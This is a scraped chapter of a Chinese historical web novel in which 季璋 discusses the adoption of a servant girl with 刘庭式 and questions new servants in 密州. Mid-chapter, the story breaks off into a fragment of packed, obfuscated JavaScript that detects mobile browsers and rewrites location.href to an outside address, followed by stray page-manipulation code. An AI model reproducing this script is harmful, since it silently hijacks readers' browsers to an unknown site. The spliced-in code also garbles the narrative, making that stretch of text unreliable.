76.物是人非

季璋手下一顿,温热的茶水险些晃出茶盏洒在她的手心里。


眼盲之人照顾自己已是不易,季璋不敢想象方娘子是如何照顾玳儿的,更别提玳儿那时还是卧床的伤患。


她下意识看向候在一旁的二宝,却只见二宝脸上也挂着大吃一惊的神情。看来玳儿被照顾得很好,好到二宝都未怀疑方娘子是行动不便之人。


可眼盲之人,终归是不方便的。


季璋将茶盏放下倏然起身,朝着刘庭式欠身行了一叉手礼,诚恳道:“之前不知方娘子情况,故而多有冒犯,还请通判官人见谅。方娘子不辞辛劳照料玳儿数月,明日我定亲自上门拜访道谢。”


刘庭式起身拱手回礼,道:“苏大娘子客气了,这女娃十分乖巧,府内并未多费心。反倒是有了她的陪伴,拙荆比往日更爱笑了些。”


他们夫妻二人无儿无女,他的后宅也只有妻子刘方氏一人。妻子因双眼一事不常出门,也不愿出门。平日除了他闲暇之余相伴,妻子唯一能接触的外人只有偶尔来拜访的赵杲卿妻子。


玳儿这一去,反倒是让刘方氏的生活有了几分生气,人瞧着也鲜活了些。


“那这收养一事···”见她态度缓和,刘庭式顺势问道。


季璋却骤然收紧了口风,话锋一转道:“我家玳儿性情顽劣,是个不折不扣的皮猴子。如今我既到了密州,就不劳方娘子费心了。若是刘通判不嫌弃,我日后带着玳儿常去府上拜访。”


刘庭式闻言也不松口,反道:“实不相瞒,令公子之事在下有所耳闻。苏大娘子还未见过拙荆便愿意详谈,想来也是有意愿将玳儿交于我妻抚养的。”


面对季璋这番进退有度的话,刘庭式也给予了一定面子,退了一步折中道:“明日刘府设宴宴请苏太守与太守娘子,也当是为苏太守接风洗尘了。咱们届时再详谈,可好?”


季璋闻言犹豫了。


善待女娃的人家本就不多,像刘家这样无儿无女的情况更是少之又少,玳儿养在他们膝下定是极好的。只是眼盲之人总归有疏漏,就怕下面之人阳奉阴违。


见季璋久不出声,苏轼适时接话,“也好,咱们也得问问玳儿自己的意见。你说呢,闰之?”


“对。”


季璋回神,这才察觉到自己的疏忽,点头答应道:“是,玳儿也到了有自己想法的年纪了。即是如此,那明日就叨扰了。”


*


刘庭式离开后,二人也各自前往自己的院子拾掇,将杭州带来的物什放入密州的新家中。


新的院子与之前格局相似,季璋还是住在西侧最大的院子里。院落变大不少,苏迨却搬了出去。他拥有了自己的院子,与苏迈和苏轼同住在东侧,而两岁的苏过住进了原本的左偏房。


季璋坐在陌生的院中,瞧着新鲜的面庞不断从眼前飘过,心里莫名生出一种物是人非的悲凉


——除了余乳娘,袁娘子、杜家姊妹、刘家兄弟全部都留在了杭州,就连她心心念念种了一年却还未结果的柑橘树也留在了杭州。


“娘,您不开心吗?”坐在一旁的苏过,笨拙地将面前的茶盏推到季璋面前,仰头问道。


季璋垂眸瞧着与苏迨有几分像的脸,柔声道:“你哥哥回来了,咱们又换了大房子住。每一件都是值得高兴的事,娘亲怎么会不高兴呢?”


她人虽走了,但留下的无名书肆仍给李盼儿,杜家姊妹以及袁亭提供了最大的底气。如此一想,季璋蓦然又高兴起来。


她还是留下些什么了的。


瞧着苏过无聊盯着茶盏花纹的模样,季璋问道:“过哥儿可是想哥哥了?”


二宝带着玳儿离开后,季璋带着苏迨回到了苏府。或许是血缘的缘故,苏过并未对光头的苏迨有任何戒心,两兄弟仿佛不曾分离般整日腻在一起。


就连来密州的路上,兄弟二人也是整日呆在一起,差点将她好不容易哄好的苏迈又孤立得变成高冷公子哥了。


眼下这院中只有他一人了,难免有些孤单。


苏过点头,求问道:“娘,那我能去找哥哥玩吗?”


“晚些去罢。他们那边也与咱们这边一样忙,你现在过去会给他们添麻烦的。”


季璋一把将苏过抱起,“娘给你念书,好不好?”


不知是不是苏迨不好好读书被抓去出家的一事警醒着他,亦或是家风的影响,自苏过能说话表达自己的想法后,便展露出对书籍的浓厚兴趣。哄他的最好办法,从新奇小玩意儿变成了给他念书。


“好。”


然而不待季璋将书翻开,二宝便来到了她身边,回禀道:“娘子,可以训话了。”


季璋抬眸瞧着院内整齐站作一排的女使小厮们,将怀中的苏过连带着书递给余乳娘,“过哥儿跟着余妈妈回房,让她给你念书好不好?”


“嗯。”有书在手里,苏过乖巧地配合着。


“嘎吱”左偏房的屋门关上,季璋顿时收敛起了脸上亲切的笑容。


她端坐在廊檐下的椅子上,目光冷冷地扫过下首站着的每一个人。


苏迨走了,院内主子少了,没想到院内的下人反倒是多了。杭州算上余妈妈与二宝,院内也一共才六人,眼下光站在下面的就已经有五人了。


季璋蹙眉道:“怎么这次有五个?”还多的是个小厮。


二宝俯身解释道:“回娘子,密州除了粮食贵,其他都比杭州便宜。人力更是廉价,只有能让他们吃饱,月钱多少都行。这座宅子大些,所以任妈妈多采买了些下人。”


连年大旱加之蝗灾,密州生产水平大跌,富贵人家能逃的都逃了。只留下逃不了的底层百姓苦苦挣扎着,等待着最后一丝被救的希望。


从杭州通判到密州太守,这明晃晃的是明升暗降啊。季璋倏然意识到苏轼的处境似是有些不太妙,不过她又不指靠着他过活儿,究竟如何日后再说罢。


季璋点头,继而抛出第二个问题,“玳儿呢?任妈妈没将她划在我的名下吗?”


“在的。只是···”


二宝似是在犹豫该不该说实话,季璋直道:“直接说,有什么我担着。”


得到允诺,二宝道出实情,“玳儿听到了那个传言,打定主意要住在南侧的下人院子里,怎么说也不肯走。”


也对,连刘庭式这个外人都能听到的消息,她这个当事人又怎会一点察觉不到。难怪她知晓方娘子眼盲,却联合刘家将二宝都蒙在鼓里。看样子,她是打定主意想去刘家了。


南侧低洼偏湿,多生虫蚁,环境不好,不适合养病。可这孩子聪慧有主见,却也认死理。


季璋无奈道:“随她去罢。”明日去见过方娘子之后,这件事很快就能有结果。


她收回思绪,开始给新人立规矩,“一一报上自己的姓名以及在院中负责什么。”


为首第一个看着矮小些的娘子率先行礼回道:“奴婢黄莺,主要负责院内洒扫。”


紧挨着她的高个娘子紧随其后道:“奴婢黄鸢,主要负责院内跑腿。”


35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187969|148825||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>瞧着二人相似的眉眼,季璋只道这又是一对姐妹花。任采莲不愧是活了这么多年的老狐狸,真是将人性摸得过于透彻的。


二人的工作皆是时忙时松,真要一板一眼地分派下去,定会有人心生不满。用血缘连带关系让二人互相帮衬,既缓和了下人之间的矛盾,又提高了办事效率。


瞧着另外三个男子,季璋蓦然出声打断了第三人的禀告,径直朝那个与其余二人毫无相似之处,站在末尾的壮汉问道:“你与他们兄弟二人是何关系?”


按照任采莲的手段和逻辑,她是不会让一个陌生人掺和进来的。


壮汉一惊,似是没想到季璋能看出来他们的联系,诚惶诚恐道:“回娘子,小的顾大,与他们二人都是顾家村的。他们二人识字,小的就只有一身蛮力。”


“所以你是马夫以及护院。”季璋肯定道。


“是。”顾大眼里写满了惊奇,仿佛季璋是什么世外高人般。


其余四人虽没顾大这个当事人如此激动,但忍不住瞥向上首的视线也暴露了内心的波澜。


季璋不动声色继续道:“第三个,该你了。”


这一切都在她的掌握之中。她就是要让他们知道什么都逃不过她的眼睛,让他们不敢动歪心思。


瘦高如纸片的男子,拱手回道:“小的叫顾源,这是我家阿弟顾远。我兄弟二人护院、跑腿、杂扫、念书都行,任凭娘子差遣。”


季璋瞧着他那副文绉绉的模样,想来会念书识字是真的。不过她却只想要他旁边那个瞧着只有七八岁的孩童,会识字的孩童正好能给苏过当玩伴。


至于这个哥哥,她着实没有想到自己能用得上的地方。


“任妈妈让你来我院子作甚?”季璋直接问道。


这种会识字且手无缚鸡之力的文化人不应该放账房吗?派她院子来作甚。


“当护院,也能给小公子念书。”顾源不敢以师傅自称,委婉道。


“你?”


这下轮到季璋大吃一惊了,“你这弱不禁风地能当护院?”


顶着上首质疑的目光,顾源拱手回道:“回娘子,小的家中务农。”


言下之意不外乎在家也要干活,不可能十指不沾阳春水。季璋闻言,这才注意到他相较于纤细指节显得格外粗壮的指关节。相比于苏迈的手,这双手确实不像是读书人执笔的手。


“顾大,他打得过你吗?”她转头看向顾大,问道。


顾大面露难色,一时竟不知如何作答。若说打得过,他不就承认自己能力不行吗;若说打不过,这兄弟二人又面临可能被赶出去的风险。


顾源识字有力气,容易找活儿。但能让主家将顾远这个小屁孩一起雇佣的,迄今为止他们只遇见了苏家一户人家。


在季璋如凌迟般的目光中,顾大努了努嘴,犹豫半晌却仍一个字也没吐出。直至顾源兀然出声,他这才解脱了,“回娘子,顾大是村里有名的猎户,常年在山中穿梭,小的自然是比不上的。”


“那确实是没法可比。”顾家村这三人的关系,绝非同村这么简单,这顾大也并非瞧着这般憨厚老实。


季璋不再为难几人,收回目光道:“前有天灾大旱,后有盗匪横行。密州眼下如何,想必众人比我这个外来人更加清楚。苏府愿意给大家提供一栖身之处,也望大家好好做事,切莫生出其他不该有的心思。”


简单几句下来,五人已对季璋生出忌惮之心,话中的恭敬比片刻前更胜几分,“一切谨遵大娘子指示。”